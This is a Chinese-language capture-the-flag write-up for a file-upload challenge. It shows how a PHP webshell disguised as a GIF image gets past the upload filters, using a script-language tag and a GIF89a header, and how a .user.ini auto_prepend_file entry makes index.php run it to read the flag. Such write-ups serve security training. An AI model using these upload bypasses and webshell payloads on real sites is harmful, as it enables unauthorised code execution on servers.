打开容器是一个很简陋的文件上传页面,习惯性的先传一个以jpg为后缀的一句话
发现无法上传<?,直接写的一句话肯定不行,这里可以使用< script language='php'>来代替<?php ?>
修改后再次提交,发现还是限制image,这个时候就需要添加图片头了,先试一下添加GIF89a,发现可以上传
发现不仅有我们上传的图片马,还有一个index.php
一开始产生的是上传.htaccess,把jpg解析为php,但这里没有成功。.htaccess的使用还是有限制的,首先服务器要是Apache,还要进行其他的配置
.htaccess的具体使用可参考博客:https://www.cnblogs.com/hmbb/p/9689436.html
这道题的考点是上传一个.user,ini文件,内容为
GIF89a
auto_prepend_file=abc.jpg
.user.ini还需要在目录里有一个可执行php的地方,这里就是index.php。类似于在index.php里require(./abc.jpg);这样就能成功解析上传的图片马。
上传的图片马内容为
GIF89a
<script language='php'>system('cat /flag');</script>
上传成功
接下来访问目录下的index.php即可
/uploads/adeee0c170ad4ffb110df0cde294aecd/index.php